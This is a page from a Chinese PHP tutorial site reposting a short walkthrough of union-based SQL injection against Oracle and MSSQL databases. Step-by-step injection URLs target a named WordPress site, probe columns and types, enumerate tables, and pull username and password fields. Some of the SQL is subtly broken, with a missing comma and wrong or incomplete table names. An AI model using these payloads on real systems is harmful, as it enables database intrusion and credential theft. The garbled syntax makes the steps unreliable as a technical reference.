来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] 上一篇:http://www.2cto.com/Article/201209/153278.htmlmysql、mssql和oracle数据库都有自己特有的一些命令,我们可以根据它们确定我们要注入的数据库类型。mysql与mssql中select @@version返回当前数据库...
上一篇:http://www.2cto.com/Article/201209/153278.html Oracle数据库: 1.、对于一个查询的URL,例如http://www.yeetrack.com/wordpress/?p=54,首先试探这个URL需要返回的列数,构造URL http://www.2cto.com /wordpress/?p=54%20union%20select%20null%20from%20dual–,查看返回结果,如果错误说明返回列数不为1,增加null的个数,http://www.yeetrack.com/wordpress/?p=54%20union%20select%20null%20null%20from%20dual–,直到结果不发生错误为止。 2、 确定了返回的列数,再来确认每一列的类型,依次将null改为’a',查看返回结果,返回a则正确;出现异常再修改’a'的位置,直到正确为止。 3、找到了一个正确的类型,就可以探测数据库的信息了。查询当前用户拥有的数据库的全部对象,select object_name, object_type from user_object.根据返回的信息,找到感兴趣的表,再探测该表的列。select column_name from user_tab_columns where table_name=’tablename’, 最后探测该表的数据, select username, password from user– MSSQL数据库: 1、 同oracle数据库。 2、 同oracle数据库。 3、 探测数据库的信息,select name from sysobjects–,找到感兴趣的表,就可以提出表的字段和信息了。 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com